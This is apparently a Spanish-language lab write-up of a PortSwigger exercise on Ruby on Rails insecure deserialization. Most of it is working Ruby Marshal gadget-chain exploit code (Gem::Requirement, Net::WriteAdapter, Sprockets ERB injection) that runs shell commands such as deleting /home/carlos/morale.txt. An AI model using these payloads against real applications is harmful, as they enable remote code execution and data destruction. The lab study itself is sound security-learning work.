Se pone interesante este lab, primero que todo, sabemos que el lab contendrá un framework de ruby on rails, mi tarea será investigar y encontrar el Gadget Chain que pueda ejecutar código remoto y nos sirva para eliminar el archivo morale.txt que está en el directorio /home/carlos/morale.txt
La pista… :)
Lo segundo importante será buscar cual es la versión del framework de ruby en el laboratorio.
No la encontré, sin embargo creo que el ataque no va por una versión especifica de ruby sino más bien por el gadget chain RCE, encontré un repo documentado, se ve interesante:
Quick Recap
Marshal.dump means serialize
Marshal.load means unserialize
When an object of a class is serialized, marshal_dump method (if defined in class) is called.
When an object of a class is unserialized, marshal_load method (if defined in class) is called.
When a undefined method is called on an object, method_missing method (if defined in class) is called.
Importante saber esos datos, para el exploit que encontré:
De ese repo este fue el código que pude encontrar para el RCE:
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `touch /tmp/pwned.txt` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))
Ahora bien aqui vemos que crea un archivo en tmp que se llama pwned.txt realmente vamos por más, en este caso debemos eliminar el archivo morale.txt del directorio home de carlos.
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `rm /home/carlos/morale.txt` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))
Instalemos Ruby en mi macOS M1, con brew y luego instalamos las gemas que implementa este codigo, gemas parece que son como paquetes a importar en python.
brew install ruby
echo 'export PATH="/usr/local/opt/ruby/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
ruby -v ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin23]
#Lo cual es una version muy antigua de mi mac y no me estaba dejando instalar rails/all
#que es un paquete principal del codigo rce_ruby.rb, ENTONCES:
#1. brew install rbenv
#2. rbenv init
# echo 'eval "$(rbenv init - zsh)"' >> ~/.zshrc
# source ~/.zshrc
#3. rbenv install 3.2.2
# rbenv global 3.2.2
# source ~/.zshrc
# ruby -v Ahora si la versión 3.2.2
# gem install rails sprockets
# ruby rce_ruby.rb
Ahora si:
Actualicé las cookies y me arrojó esto:
Encontré otra pagina que está la veo como más real que sea la apropiada ya que es de portswigger, del año 2018:
Y tienen un codigo que se habla en el blog: (Lo modifiqué para la ejecución del sistema para eliminar el morale.txt)
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
# Creamos el StubSpecification con un valor falso para @loaded_from
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|ruby -e 'system(\"rm /home/carlos/morale.txt\")'")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Y me tiro un error en especifico:
La versión parece ser: Ruby 2.7.0
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
# Modificamos el valor de `@loaded_from` para ejecutar un comando directamente con `system`
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "system('rm /home/carlos/morale.txt')")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Encontré otro site que me menciona otro code para la ejecución de RCE →
Código Original pero modificado para el Laboratorio borrando el archivo morale.txt:
require 'rails/all'
require 'base64'
# following three lines added for older versions of Ruby on Rails:
require 'rack/response'
require 'active_record/associations'
require 'active_record/associations/association'
require "yaml"
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
require 'bundler/inline'
gemfile do
source 'https://rubygems.org'
gem 'oj', require: true
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0 = Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context, Sprockets::Context.allocate)
d1 = Gem::Security::Policy.allocate
# Modificamos la variable `@data` para inyectar el comando de eliminación del archivo
d1.instance_variable_set(:@name, { :filename => "/tmp/xyz.txt", :environment => d0, :data => "<%= os_command = 'rm /home/carlos/morale.txt'; system(os_command); %>", :metadata => {}})
d2 = Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c = Logger.allocate
c.instance_variable_set(:@logdev, d)
e = Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read, 2)
e.instance_variable_set(:@header, "bbbb")
b = Net::BufferedIO.allocate
b.instance_variable_set(:@io, e)
b.instance_variable_set(:@debug_output, c)
$a = Gem::Package::TarReader.allocate
$a.instance_variable_set(:@init_pos, Gem::SpecFetcher.allocate)
$a.instance_variable_set(:@io, b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate, $a]
end
end
end
end
# Generación del payload en formato binario
final = ActiveRecord::Associations::Association.allocate
puts Base64.strict_encode64(Marshal.dump(final))
Efectivamente tampoco me funcionó, así que con ello presente, tomaré esta última pagina que toma las versiones de Ruby 2.x - 3.x:
Que habla sobre la deserialization RCE Universal en todas las versiones de Ruby de 2.x-3.x donde menciona que la forma de invocar varios métodos magicos para crear el gadget chain y lograr la ejecución remota de código es así:
[**ActiveModel::AttributeMethods::ClassMethods::CodeGenerator**](<https://github.com/rails/rails/blob/v6.1.0.rc1/activemodel/lib/active_model/attribute_methods.rb#L369>) to achieve code execution.
Después de echarle una ojeada al blog de eje man, el codigo resultante para poder ejecutar el RCE es haciendo la llamada el KernelSystem(Commands) module propio de Ruby:
Vamos a recrearlo tirandolo en mi vs code a ver:
Así tal cual es como lo dejamos.
Actualizamos la cookie de wiener:peter en base64:
require 'net/http' # Cargar la librería de red estándar
require 'base64'
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# Convert the payload to Base64
encoded_payload = Base64.encode64(payload)
puts "Payload en Base64 mi Papacho:"
puts encoded_payload